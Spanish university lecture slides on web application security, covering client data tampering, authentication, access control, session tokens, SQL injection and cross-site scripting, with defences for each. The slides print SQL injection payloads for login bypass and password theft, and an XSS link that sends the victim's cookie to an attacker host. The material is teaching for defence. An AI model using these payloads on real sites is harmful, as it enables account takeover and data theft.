Aplicaciones Web (Curso 2014/2015)

Documentos relacionados
Computación Web (Curso 2013/2014)

Computación Web (Curso 2013/2014)

Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web

Aplicaciones Web (Curso 2015/2016)

SEGURIDAD EN APLICACIONES WEB. Autor: Siler Amador Donado

Bloque I: Seguridad web

SEGURIDAD Y ALTA DISPONIBILIDAD

PHP y MySQL Domine el desarrollo de un sitio Web dinámico e interactivo (3ª edición)

Amenazas a Aplicaciones Web Ing. Mauricio Andrade Guzmán. Subdirección de Seguridad de la Información/UNAM-CERT

ANÁLISIS DE LAS PRINCIPALES VULNERABILIDADES DE UN SISTEMA INFORMÁTICO

Introducción a OWASP TOP Ten Segu-Info &

Seguridad aplicaciones (Solución RASP).

Servicios en Red. UT6. Servicio HTTP

Aplicaciones Web. Aplicaciones Distribuidas

Las cookies son utilizadas habitualmente por los servidores web para diferenciar usuarios y para actuar de diferente forma dependiendo de éstos.

Control de Requisitos de Seguridad del Código

PHP 7 Desarrollar un sitio web dinámico e interactivo

PROGRAMACIÓN PÁGINAS WEB CON ASP.NET 3.5 (C#)

SQL Injection. 1º Edición - 11 y 12 de Mayo Montevideo, Uruguay

Objetivos y Temario CURSO PHP Y MySQL

Desarrollo Web con PHP

Curso de Programación en PHP Nivel I

Seguridad Web: SQL Injection & XSS

Seguridad Web: SQL Injection & XSS

ESTÁNDAR DE CODIFICACIÓN JEE CHECKLIST

Seguridad en la entrega aplicaciones

Javier Garson Desarrollador web Abril CSRF Falsificando peticiones

Seguridad Web. Álvaro Gómez Giménez UAM.NET. Álvaro Gómez Giménez (UAM.NET) Seguridad Web / 19

Recomendaciones sobre protección de Dominios en Internet. Julio César Cossío NIC México.

Webinar Gratuito Vulnerabilidades en Aplicaciones Web

1

SERVICIOS COMPUTACIONALES PROGRESS

Consejería de Hacienda y Administración Pública. Buenas prácticas de seguridad en los procesos de autenticación y firma

Desarrollo y servicios web

Sistemas de Información

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle

Programador Web en Wordpress + PHP + Javascripts + MySQL. Nivel Profesional. Informática y Programación

Programación páginas web con PHP

Arquitecturas Distribuidas. TEMA 3. Tecnologías de la web dinámica

Curso: Programación pág. web: servidor (ASP.NET)

Desarrollo Seguro. Programa de Estudio.

Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer en la practica algunas formas

Aspectos Básicos de la Seguridad en Aplicaciones Web

Laboratorio de Aplicaciones Telemáticas (Curso 2009/2010)

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Verifique la Conectividad del servidor de RADIUS con el comando de la prueba RADIUS AAA

Tutorial de enlace entre Formulario Web y Servicio Web REST. Programación en Internet

Inseguridad Bancaria en linea

PROGRAMACIÓN PÁGINAS WEB JAVASCRIPT Y ASP.NET 3.5 (C#)

Estado de conciencia en la seguridad de las aplicaciones móviles

5.- DESCRIPCIÓN DEL PROTOCOLO HTTP

SISS Sistema de información de los Servicios Sociales. Acceso de Usuarios

Programador Web en Drupal + PHP + Javascripts + MySQL. Nivel Profesional. Informática y Programación

Guía de uso para IdP Comprobantes Electrónicos

Inicio de Sesión. Formulario

INTRODUCCIÓN A PHP PHP: LENGUAJE DE PROGRAMACIÓN

Inicio de Sesión. Formulario

Guia práctica de PHP 5 Francisco Charte Ojeda

CURSO ADMINISTRACIÓN WEB SEMANA 6 SEGURIDAD EN REDES

Vulnerabilidades en Aplicaciones Web Webinar Gratuito

E-ATTIJARI. ÍNDICE 1/ Objetivo. 2/ Autenticación. 3/ Acceso a las cuentas. 4/ Detalles de las cuentas

Aplicaciones WEB vulnerables: Una puerta de entrada para los intrusos

Funciones de PHP. Contenido

Formularios en HTML. Grupo de Ingeniería del Software. Departamento de Lenguajes y Sistemas Informáticos. October 11

Seguridad en Aplicaciones Web

UNIVERSIDADE DA CORUÑA Departamento de Tecnoloxías da Información e as Comunicacións LABORATORIO DE RC: PRÁCTICA 1: IMPLEMENTACIÓN DE UN SERVIDOR WEB

Unidad 1.- Fundamentos de sitios web. El lenguaje HTML. Desarrollo de aplicaciones Web. Felipe LC

Funciones de PHP. Francisco José Naranjo Abad

_ DOBLE MÉTODO DE AUTENTICACIÓN: TWO FACTOR AUTHENTICATION O 2FA

una nueva página (recordar que en este curso no se ve como programar en el servidor) Todo los formularios que implemento y los que usted implementará

Formularios en HTML 09/02/2015. Escuela Técnica Superior de Ingeniería Informática Departamento de Lenguajes y Sistemas Informáticos

PROGRAMACIÓN SEGURA EN PHP Héctor A. Mantellini VaSlibre CODIGO LIMPIO CODIGO SEGURO.

. Recibir devoluciones de llamada HTTP para la notificación de entrega (recibos) cuando se recibe SMS-MT (o no) en la estación móvil.

Auditoría Técnica de Seguridad de Aplicaciones Web

Laboratorio de Aplicaciones Telemáticas

PHP && Web 2.0. Ing. Mario Uriarte Amaya

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

ESTÁNDAR DE CODIFICACIÓN JEE CHECKLIST

Ventanilla Electrónica. Auditoría de Seguridad. Versión: v01r00 Fecha: 26/05/2015

Seguridad en Sistemas Informáticos (SSI) Programación Segura

2º ASIR UD2 - SAD SEGURIDAD EN LA RED CORPORATIVA 5.- AMENAZAS Y ATAQUES EN REDES CORPORATIVAS:

Inseguridad de los sistemas de autenticación en aplicaciones web

Computación Web (Curso 2013/2014)

PHP Programming. Learn how PHP works Learn the basic syntax of PHP Learn to create dynamic interactive pages with PHP

SubjectsPlus : Manual configuración básico David Aznar v.1 /

GUÍA DE CONFIGURACIÓN DE LOS EQUIPOS PARA EL USO DE LA APLICACIÓN CONCECTA-CENTRALIZACIÓN

Unidad Didáctica 2 GENERACIÓN DE DOCUMENTOS WEB CON GUIONES DE SERVIDOR

Transcripción:

Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014/2015) Jesús Arias Fisteus // jaf@it.uc3m.es Seguridad en Aplicaciones Web p. 1

Seguridad en aplicaciones Web «This site is absolutely secure. It has been designed to use 128-bit Secure Socket Layer (SSL) technology to prevent unauthorized users from viewing any of your information. You may use this site with peace of mind that your data is safe with us.» Seguridad en Aplicaciones Web p. 2

Seguridad en aplicaciones Web A laptop battery contains roughly the stored energy of a hand grenade, and if shorted it... hey! You can t arrest me if I prove your rules inconsistent! http://xkcd.com/651/ Seguridad en Aplicaciones Web p. 3

Seguridad en aplicaciones Web http://geekandpoke.typepad.com/geekandpoke/2011/ 05/everybody-has-to-set-priorities.html Seguridad en Aplicaciones Web p. 4

Errores más peligrosos en programas 2011 CWE/SANS Top 25 Most Dangerous Software Errors Seguridad en Aplicaciones Web p. 5

Los usuarios pueden enviar datos arbritarios a la aplicación! Seguridad en Aplicaciones Web p. 6

Envío de datos arbitrarios Los usuarios pueden: Alterar cualquier dato transferido al servidor: parámetros de la petición, cookies, cabeceras HTTP. Enviar peticiones en secuencias arbitrarias, enviar parámetros en peticiones en que el servidor no lo espera, no enviarlos, enviarlos más de una vez. Usar herramientas distintas a un navegador Web para atacar más fácilmente la aplicación. Seguridad en Aplicaciones Web p. 7

Envío de datos manipulados En la mayoría de los ataques se envían datos manipulados para causar un efecto no deseado en la aplicación. Ejemplos: Cambio del precio de un producto en un campo oculto de un formulario. Modificar el token de sesión. Eliminar algunos parámetros que el servidor espera. Alterar datos que van a ser procesados por una base de datos. Seguridad en Aplicaciones Web p. 8

Esquivar controles en el cliente Seguridad en Aplicaciones Web p. 9

Datos recibidos del cliente Datos enviados por el servidor a través del cliente. Datos recogidos por el cliente. Seguridad en Aplicaciones Web p. 10

Datos enviados a través del cliente Enviados típicamente mediante: Campos ocultos en formularios. Cookies HTTP. Parámetros en URLs. Cabeceras HTTP. Son susceptibles de ser modificados por el usuario. Incluso en ocasiones a pesar de ser opacos. Seguridad en Aplicaciones Web p. 11

Ejemplo <form method= post action= Shop.aspx?prod=1 > Product: iphone 5 <br/> Price: 449 <br/> Quantity: <input type= text name= quantity > (Maximum quantity is 50) <br/> <input type= hidden name= price value= 449 > <input type= submit value= Buy > </form> Seguridad en Aplicaciones Web p. 12

Ejemplo HTTP/1.1 200 OK Set-Cookie: DiscountAgreed=25 Content-Length: 1530 (...) Seguridad en Aplicaciones Web p. 13

Datos recogidos por el cliente Recogidos típicamente mediante: Formularios HTML. Javascript, Applets Java, Silverlight, Flash, etc. Son susceptibles de ser establecidos arbitrariamente por el usuario saltando la validación del lado del cliente (restricciones en el formulario, javascript, etc.) Seguridad en Aplicaciones Web p. 14

Protección frente a estos ataques Para proteger la aplicación, es recomendable: No enviar datos sensibles a través del cliente: Si no queda más remedio, cifrarlos o firmarlos (cuidado con ataques por repetición y ataques con texto claro). Validar en el servidor todos los datos procedentes del cliente. Sistema de logs, monitorización y alertas. Seguridad en Aplicaciones Web p. 15

Ataques a los mecanismos de autenticación Seguridad en Aplicaciones Web p. 16

Ataques a la autenticación Errores en la autenticación: Errores de diseño. Errores de implementación. Seguridad en Aplicaciones Web p. 17

Ataques a la autenticación http://abstrusegoose.com/296 Seguridad en Aplicaciones Web p. 18

Errores de diseño (I) Contraseñas débiles. Posibilidad de ataques de fuerza bruta. Mensajes de error detallados. Transmisión vulnerable de credenciales. Funcionalidad de cambio de contraseña. Funcionalidad de contraseña olvidada. Funcionalidad recuérdame. Funcionalidad de impersonación de usuarios. Seguridad en Aplicaciones Web p. 19

Errores de diseño (II) Validación de credenciales incompleta. Nombres de usuario no únicos. Nombres de usuario predecibles. Contraseñas iniciales predecibles. Distribución insegura de credenciales. Seguridad en Aplicaciones Web p. 20

Errores de implementación Errores en la lógica de la aplicación. Defectos en mecanismos de autenticación multi-paso. Almacenamiento inseguro de credenciales. Seguridad en Aplicaciones Web p. 21

Ejemplo public Response checklogin(session session) { try { String uname = session.getparameter( username ); String passwd = session.getparameter( password ); User user = db.getuser(uname, passwd); if (user == null) { // invalid credentials session.setmessage( Login failed. ); return dologin(session); } } catch (Exception e) {} } // valid user session.setmessage( Login successful. ); return domainmenu(session); Seguridad en Aplicaciones Web p. 22

Protección de los mecanismos de autenticación Usar credenciales robustas. Manejar credenciales confidencialmente. Validar credenciales apropiadamente. Prevenir fuga de información. Prevenir ataques de fuerza bruta. Evitar uso fraudulento de la funcionalidad de cambio de contraseña. Evitar uso fraudulento de la funcionalidad de recordar contraseña. Sistema de logs, monitorización y alertas. Seguridad en Aplicaciones Web p. 23

Ataques al control de acceso Seguridad en Aplicaciones Web p. 24

Ataques al control de acceso El usuario accede a recursos o acciones para los que no está autorizado: Escalada vertical de privilegios. Escalada horizontal de privilegios. Seguridad en Aplicaciones Web p. 25

Vulnerabilidades en el control de acceso Funcionalidad sin proteger en absoluto: por ejemplo, suponiendo URLs desconocidas. Funciones basadas en identificador de recurso supuestamente desconocido. Funciones multi-etapa. Acceso sin control a ficheros estáticos. Control de acceso inseguro: basado en datos enviados por el cliente. Ejemplo: http://www.test.com/?admin=true Seguridad en Aplicaciones Web p. 26

Protección del control de acceso (I) No basarse en el desconocimiento por el usuario de URLs o identificadores. No pasar datos relativos al control de acceso a través del usuario. No asumir una secuencia concreta en las peticiones. Seguridad en Aplicaciones Web p. 27

Protección del control de acceso (II) Buenas prácticas (I): Documentar y evaluar el sistema de control de acceso. Basar las decisiones en la sesión del usuario. Usar un componente central para tomar las decisiones sobre el acceso a recursos. Restringir funcionalidad delicada por rango de IPs. Controlar el acceso a ficheros estáticos. Validar identificadores de recurso siempre que vengan del cliente. Seguridad en Aplicaciones Web p. 28

Protección del control de acceso (III) Buenas prácticas (II): Nueva autenticación en funcionalidad sensible. Sistema de logs de acceso. Seguridad en Aplicaciones Web p. 29

Ataques a la gestión de sesiones Seguridad en Aplicaciones Web p. 30

Ataques a la gestión de sesiones La autenticación de usuarios se complementa con mecanismos de gestión de sesiones: Token de sesión: identificador que envía el cliente en sus peticiones, con frecuencia en una cookie, para que el servidor identifique a qué sesión pertenecen. Dos grupos de vulnerabilidades principalmente: Generación de tokens de sesión débiles. Debilidades en el manejo de tokens de sesión durante su ciclo de vida. Seguridad en Aplicaciones Web p. 31

Generación de tokens débiles Tokens con significado deducible: Nombre de usuario, id de usuario en la base de datos, fecha, número secuencial o secuencia deducible, dirección IP, dirección de correo electrónico, etc. 757365723d6461663b6170703d61646d 696e3b646174653d30312f31322f3131 user=daf;app=admin;date=10/09/11 Seguridad en Aplicaciones Web p. 32

Generación de tokens débiles Tokens predecibles: Incluyen información temporal, secuencias fácilmente deducibles, secuencias pseudoaleatorias. Seguridad en Aplicaciones Web p. 33

Debilidades en el manejo de tokens de sesión (I) Interceptación en la red del token: Uso de HTTP en las comunicaciones. Problemas en el uso de HTTPS: Uso sólo en el procedimiento de autenticación. Uso de token previo obtenido por HTTP. Peticiones por HTTP después de haber entrado en HTTPS: por ejemplo, ficheros estáticos por HTTP, botón atrás, etc. Inducción por el atacante a realizar una petición HTTP (por correo electrónico, desde otros sitios Web, etc.) Seguridad en Aplicaciones Web p. 34

Debilidades en el manejo de tokens de sesión (II) Exposición del token en logs o aplicaciones de gestión. Mapeo vulnerable de tokens a sesiones. Terminación de sesión vulnerable: no hay función cierre de sesión o no se invalida el token en el servidor. Secuestro de tokens o fijación de tokens mediante cross-site scripting, peticiones cross-site, etc. Dominio de las cookies demasiado amplio. Seguridad en Aplicaciones Web p. 35

Protección del mecanismo de sesiones (I) Generación de tokens robustos: Gran número de posibles valores posibles. No incluir más información que un identificador. Buen generador de números pseudoaleatorios. Introducir otros datos como fuente de aleatoriedad: IP y puerto cliente, cabecera User-Agent, fecha y hora con mucha precisión, clave adicional sólo conocida por el servidor y refrescada en cada arranque. Seguridad en Aplicaciones Web p. 36

Protección del mecanismo de sesiones (II) Protección de los tokens (I): Trasmisión del token sólo por HTTPS (cookies sólo HTTPS). Nunca transmitir tokens en la URL. Cierre de sesión que invalide el token en el servidor. Expiración de sesiones por inactividad. Evitar sesiones simultáneas del mismo usuario. Proteger aplicaciones de gestión que permitan ver los tokens. Seguridad en Aplicaciones Web p. 37

Protección del mecanismo de sesiones (III) Protección de los tokens (II): Restringir el dominio y ruta de las cookies. Evitar vulnerabilidades cross-site scripting. No aceptar tokens arbitrarios puestos por el usuario. Iniciar una nueva sesión siempre tras la autenticación. Tokens distintos para cada página. Sistema de logs, monitorización y alertas. Cierre de sesión ante cualquier tipo de error en la entrada del usuario. Seguridad en Aplicaciones Web p. 38

Ataques al almacenamiento de datos Seguridad en Aplicaciones Web p. 39

Ataques al almacenamiento de datos Principales ataques: Bases de datos SQL (inyección de SQL). Bases de datos XML. Directorios LDAP. Seguridad en Aplicaciones Web p. 40

Inyección de SQL http://xkcd.com/327/ Seguridad en Aplicaciones Web p. 41

Esquivar la autenticación La comilla simple es un carácter especial en SQL. La secuencia -- (comentario) invalida el resto del comando. nombre = "juan³ -- ³" String consulta = "SELECT nombre FROM Usuarios WHERE nombre=³" + nombre + "³ AND contrasena=³" + password + "³"; nombre=³juan³ ³³ contrasena=³³ // Consulta realizada: SELECT nombre FROM Usuarios WHERE -- AND Seguridad en Aplicaciones Web p. 42

Esquivar la autenticación Si no se conoce el nombre del usuario, se puede obtener el primero. En muchas aplicaciones el primer usuario es el administrador, que cuenta con privilegios especiales. nombre = "³ OR 1=1 -- ³" String consulta = "SELECT nombre FROM Usuarios WHERE nombre=³" + nombre + "³ AND contrasena=³" + password + "³"; nombre=³³ ³³ contrasena=³³ // Consulta realizada: SELECT nombre FROM Usuarios WHERE OR 1=1 -- AND Seguridad en Aplicaciones Web p. 43

Tipos de consultas Cualquier tipo de consulta es vulnerable (SELECT, INSERT, UPDATE, etc.) Se puede inyectar tanto en datos textuales como en datos numéricos. Seguridad en Aplicaciones Web p. 44

Ataques a consultas INSERT En un campo se inyectan el resto de los valores: contrasena = "passwd³, 10000000) -- ³" String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES (³" + nombre + "³, ³" + contrasena + "³, " + saldo + ")"; // Consulta realizada: INSERT INTO Usarios (nombre, contrasena, saldo) VALUES (³nombre³, ³passwd³, 10000000) -- ³³, 0) Seguridad en Aplicaciones Web p. 45

Ataques con UNION El comando UNION permite combinar resultados de dos consultas. genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- " String consulta = "SELECT titulo, autor, precio FROM Libros WHERE genero=" + genero; // Consulta realizada: SELECT titulo, autor, precio FROM Libros WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- Seguridad en Aplicaciones Web p. 46

Nombres de tablas y columnas Para realizar algunos tipos de ataques es necesario conocer nombres de tablas y columnas. A veces los nombres son predecibles. En otras ocasiones, se pueden descubrir con consultas inyectadas con UNION: UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS UNION SELECT TABLE_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=³DemoSeguridad³ UNION SELECT COLUMN_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE AND TABLE_NAME=³Usuarios³ TABLE_SCHEMA=³DemoSeguridad³ Seguridad en Aplicaciones Web p. 47

Inyección de segundo orden Aun filtrando correctamente comillas (sustitución de comilla simple por doble), futuras consultas son vulnerables si se insertan en la base de datos valores con comilla simple. Las comillas no son necesarias en campos numéricos. El comentario se reemplaza por or ³a³=³a. El bloqueo de palabras clave se puede esquivar a veces: SeLeCt SELSELECTECT Si se filtran blancos, se puede insertar comentarios /* */. Seguridad en Aplicaciones Web p. 48

Defensa frente a estos ataques Usar PreparedStatement o equivalente: En todas las consultas, no sólo en las que toman datos directamente del usuario. Usar el nivel de privilegios más bajo posible. Deshabilitar funciones innecesarias de las bases de datos. Mantener el gestor de bases de datos siempre actualizado. Seguridad en Aplicaciones Web p. 49

Otros ataques de inyección de código Otros ataques similares por inyección de código: Inyección en comandos del sistema operativo. Inyección en lenguajes de scripting. Inyección en JSON. Inyección en XML. Inyección en LDAP. Inyección en correo electrónico. Inyección en cabeceras de HTTP. Seguridad en Aplicaciones Web p. 50

Ataques a usuarios Seguridad en Aplicaciones Web p. 51

Ataques a usuarios Existe un conjunto de técnicas cuyo objetivo es atacar a otros usuarios de una aplicación Web: Cross-site scripting. Inducción de acciones del usuario: On Site Request Forgery. Cross-Site Request Forgery. UI Redress Captura de datos desde otros dominios. Fijación de sesiones. Redirección abierta. Inyección de SQL en el cliente. Ataques al navegador. Seguridad en Aplicaciones Web p. 52

Cross-site scripting Tres tipos principales de ataque: Reflejado. Almacenado. Basado en DOM. Seguridad en Aplicaciones Web p. 53

Cross-site scripting reflejado Se produce cuando una aplicación muestra directamente datos enviados como parámetros de la petición por el usuario. Por ejemplo, páginas de error con mensaje pasado como parámetro: http://example.com/error?message=sorry%2c+an+error+occurred El cliente puede inyectar código Javascript que se ejecutará en el navegador. http://example.com/error?message=<script>var+i=new+image; +i.src= http://mdattacker.net/ %2bdocument.cookie;</script> Los enlaces se pueden disimular con codificación URL. Seguridad en Aplicaciones Web p. 54

Cross-site scripting reflejado Seguridad en Aplicaciones Web p. 55

Cross-site scripting reflejado Envío del enlace malicioso al usuario: Por correo electrónico. En mensajería instantánea. Desde un sitio Web de terceros o del atacante. Mediante redes de publicidad. Mediante acciones enviar a un amigo o informar al administrador en el sitio Web atacado. Seguridad en Aplicaciones Web p. 56

Cross-site scripting almacenado El atacante introduce texto en la base de datos del sitio Web que posteriormente se muestra a otros usuarios. El atacante puede inyectar código Javascript en dicho texto, que se ejecutará en el navegador de otros usuarios del sistema, incluso de administradores. Más peligroso que el reflejado, porque el atacado está autenticado y no es necesario inducirlo a activar ningún enlace. Seguridad en Aplicaciones Web p. 57

Cross-site scripting almacenado Seguridad en Aplicaciones Web p. 58

Cross-site scripting basado en DOM El servidor no transmite los datos del usuario de vuelta, pero en la página hay código Javascript que los toma de la URL pedida y los muestra con document.write(). Ataque similar en parte a cross-site scripting reflejado. Seguridad en Aplicaciones Web p. 59

Cross-site scripting Posibles acciones de ataque: Pintadas virtuales (defacement). Inyección de troyanos y phishing. Inducción de acciones por el usuario. Aprovechar privilegios: captura de texto de la función autocompletar, aplicaciones con restricciones de seguridad reducidas, uso fraudulento de controles ActiveX. Escalado del ataque en el lado del cliente: captura de teclado, historial de navegación, escaneo de puertos en la red local del usuario, etc. Seguridad en Aplicaciones Web p. 60

Prevención de cross-site scripting Validar la entrada del usuario: Restricciones de longitud, conjunto de caracteres, expresiones regulares. Validar la salida: Reemplazo de caracteres reservados de HTML por referencias a entidades. Eliminar puntos peligrosos de inserción (código Javascript, cabeceras de HTTP, atributos de elementos HTML). Donde el usuario pueda editar HTML, limitar las marcas que pueda utilizar o utilizar lenguajes de marcas alternativos. Seguridad en Aplicaciones Web p. 61

Referencias Dafydd Stuttard, Marcus Pinto. The Web Application Hacker s Handbook. 2nd ed. John Wiley & Sons Acceso en Safari Capítulos 1, 5, 6, 7, 8, 9 y 12. Seguridad en Aplicaciones Web p. 62